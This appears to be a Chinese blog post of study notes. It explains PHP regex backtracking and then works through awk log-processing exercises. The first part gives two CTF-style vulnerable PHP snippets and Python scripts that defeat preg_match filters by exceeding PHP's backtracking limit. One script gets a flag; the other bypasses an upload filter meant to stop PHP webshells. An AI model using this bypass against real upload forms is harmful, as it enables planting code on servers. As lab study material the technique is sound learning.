【无标题】

一、正则回溯

1.什么是正则回溯

常见的正则引擎,被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

正则回溯是一种正则表达式NFA引擎使用的技术,用于尝试所有可能的匹配方式,直到找到匹配为止。在正则表达式的匹配过程中,如果当前部分无法匹配,引擎会回溯到前面的部分,尝试其他可能的匹配路径。这可能会导致性能下降,特别是在复杂的正则表达式和长字符串的情况下,所以PHP限制正则回溯次数为100w次,如果超过,正则将会失效。

1

复制代码
<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
 
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // strpos string postion
        if(strpos($greeting,'Merry Christmas') !== false){
            echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
} else {
    echo 'fuck array!!!';
}

函数areyouok过滤了/Merry.*Christmas/,而要想拿到flag,就必须使内部的if条件成立,即greeting参数中必须含有Merry Christmas字符串(strpos函数查找字符串在目标中首次出现的位置),这就矛盾了,因为正则会过滤我们的Merry Christmas字符串。

复制代码
from requests import post
data={"greeting" : "Merry Christmas" + "a" * 1000001}
url = 'http://192.168.1.3/test/regex2.php'
res = post(url=url,data=data)
print(res.text)

2

复制代码
<?php
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
 
 if(empty($_FILES)) {
    die(show_source(__FILE__));
}
 
$user_dir = md5($_SERVER['REMOTE_ADDR']); 
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { 
    exit("bad request");
} else {
    @mkdir($user_dir, 0755); 
    $path = $user_dir . '/' . 'oupeng.php'; 
    //利用move_uploaded_file将临时文件,复制到$path
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
 
    header("Location: $path", true, 303); 
}

一个文件上传代码,is_php函数正则过滤了/<?.[(`;?>]. /,所以我们不能直接上传一句话木马,需要绕过正则才行。

同样,正则回溯,构造post请求

复制代码
from requests import post
file={
    "file":"<?php phpinfo();?>" + "a" * 1000001
}
url = 'http://192.168.1.3/test/regex3.php'
res = post(url=url,files=file,allow_redirects=False)
print(res.headers)

二、awk经典案例练习

1.筛选ipv4地址

ifconfig命令筛选

2.根据某字段去重

练习文本

2019-01-13_12:00_index?uid=123

2019-01-13_13:00_index?uid=123

2019-01-13_14:00_index?uid=333

2019-01-13_15:00_index?uid=9710

2019-01-14_12:00_index?uid=123

2019-01-14_13:00_index?uid=123

2019-01-15_14:00_index?uid=333

2019-01-16_15:00_index?uid=9710

-F"?"代表以?为输入字段分隔符,arr[$2]即arr[uid=xxx],

当字段第一次出现时,arr[2\]为0,++后为1,触发if条件,输出0;

当字段第二次及n次出现时,arr[$2]已经等于1了,++后为2,无法触发if条件,无法输出这样就达到了去重的效果

3.次数统计

练习文本

复制代码
portmapper
portmapper
portmapper
portmapper
portmapper
portmapper
status
status
mountd
mountd
mountd
mountd
mountd
mountd
nfs
nfs
nfs_acl
nfs
nfs
nfs_acl
nlockmgr
nlockmgr
nlockmgr
nlockmgr
nlockmgr

当字段第一次出现时,arr[0\]=0,++后为1,当出现第二次时,arr\[0]=1,++后为2,所以当第n次出现时,arr[$0]=n

END表示最后的操作,for(i in arr){print arr[i], i}表示打印键值和键名,即第一行的4 nfs

4.统计TCP连接状态数量

NR>2代表处理大于第二行的记录,arr[$6]++代表统计tcp连接状态的次数,最后打印出来

5.统计日志中前10个IP访问的次数

arr[$1]++统计次数和for循环打印很熟悉就不说了, 之后的sort -nr命令表示reverse翻转排序,head命令打印前10行(这里有个1,不知道为啥,可能是日志里面多的,但是不影响)

也可以在前面添加状态码非200的条件,$9!=200

6.处理字段缺失的数据

练习文本

复制代码
ID  name    gender  age  email          phone
1   Bob     male    28   [email protected]     18023394012
2   Alice   female  24   [email protected]  18084925203
3   Tony    male    21                  17048792503
4   Kevin   male    21   [email protected]    17023929033
5   Alex    male    18   [email protected]    18185904230
6   Andy    female       [email protected]    18923902352
7   Jerry   female  25   [email protected]  18785234906
8   Peter   male    20   [email protected]     17729348758
9   Steven          23   [email protected]    1594789321

这里如果想打印电话,直接打印6是不行的,因为有些记录是没有6的,所以可以通过if条件,判断如果5是以0-9开头的,那就打印5,否则就打印$6

也可以通过FIELDWIDTHS这个参数来规定每个字段占用的空格大小,比如这里

开始第一列为2,是以ID为参照,占用2格

第二列是以最长的字符Steven为参照,然后第二列与第一列之间的参照空隙为2格,所以就是2:6

第三列也是以最长的字符female为参照,然后第三列与第二列之间的参照空隙为2个,所以也是2:6

然后依次往后推,就把每个字段占用的大小规定下来了这时再打印就不会出现之前的状况了

7.筛选给定时间范围内的日志

以前面的日志文件为文本材料

打印出7月18日13:30之前的日志

"-F:"以冒号为字段分隔符,使用if判断来输出13:30之前的日志

下面这种方法虽然麻烦,但是更为通用

复制代码
BEGIN{
  # 要筛选什么时间的日志,将其时间构建成epoch值
  which_time = mktime("2023 07 18 13 30 01")
}
 
{
  # 取出日志中的日期时间字符串部分
  match($0,"^.*\\[(.*)\\].*",arr)
 
  # 将日期时间字符串转换为epoch值
  tmp_time = strptime2(arr[1])
 
  # 通过比较epoch值来比较时间大小
  if(tmp_time > which_time){
    print
  }
}
 
# 构建的时间字符串格式为:"18/Jul/2023:13:30:00 +0800"
function strptime2(str,dt_str,arr,Y,M,D,H,m,S) {
  dt_str = gensub("[/:+]"," ","g",str)
  # dt_sr = "18 Jul 2023 13 30 00 08 00"
  split(dt_str,arr," ")
  Y=arr[3]
  M=mon_map(arr[2])
  D=arr[1]
  H=arr[4]
  m=arr[5]
  S=arr[6]
  return mktime(sprintf("%s %s %s %s %s %s",Y,M,D,H,m,S))
}
 
function mon_map(str,mons){
  mons["Jan"]=01
  mons["Feb"]=02
  mons["Mar"]=03
  mons["Apr"]=04
  mons["May"]=05
  mons["Jun"]=06
  mons["Jul"]=07
  mons["Aug"]=08
  mons["Sep"]=09
  mons["Oct"]=10
  mons["Nov"]=11
  mons["Dec"]=12
  return mons[str]
}

首先通过mktime函数将日期时间信息转换为 epoch 值(可以理解为UNIX时间戳),这样我们就可以直接比较时间

其次使用match函数匹配正则,取出日志中的日期时间字符串部分

然后通过strptime2函数转为epoch 值,函数内部通过gensub函数匹配正则,将"/:+"替换为空格,这样就可以使用mktime函数转换了,也可以用split函数,它也是将字符串按照空格分隔,然后保存到arr数组,然后给YMDHmS赋值,还有个mon_map函数,将月份的英文转换为数字,最后返回mktime函数处理后的epoch值

最后if条件比较时间,如果获取的时间大于规定的时间就打印

相关推荐
百锦再38 分钟前
Android Studio开发 SharedPreferences 详解
android·ide·android studio
青春给了狗1 小时前
Android 14 修改侧滑手势动画效果
android
CYRUS STUDIO1 小时前
Android APP 热修复原理
android·app·frida·hotfix·热修复
火柴就是我2 小时前
首次使用Android Studio时,http proxy,gradle问题解决
android
limingade2 小时前
手机打电话时电脑坐席同时收听对方说话并插入IVR预录声音片段
android·智能手机·电脑·蓝牙电话·电脑打电话
浩浩测试一下2 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
青春给了狗4 小时前
Android 14 系统统一修改app启动时图标大小和圆角
android
pengyu5 小时前
【Flutter 状态管理 - 柒】 | InheritedWidget:藏在组件树里的"魔法"✨
android·flutter·dart
居然是阿宋6 小时前
Kotlin高阶函数 vs Lambda表达式:关键区别与协作关系
android·开发语言·kotlin
凉、介6 小时前
PCI 总线学习笔记(五)
android·linux·笔记·学习·pcie·pci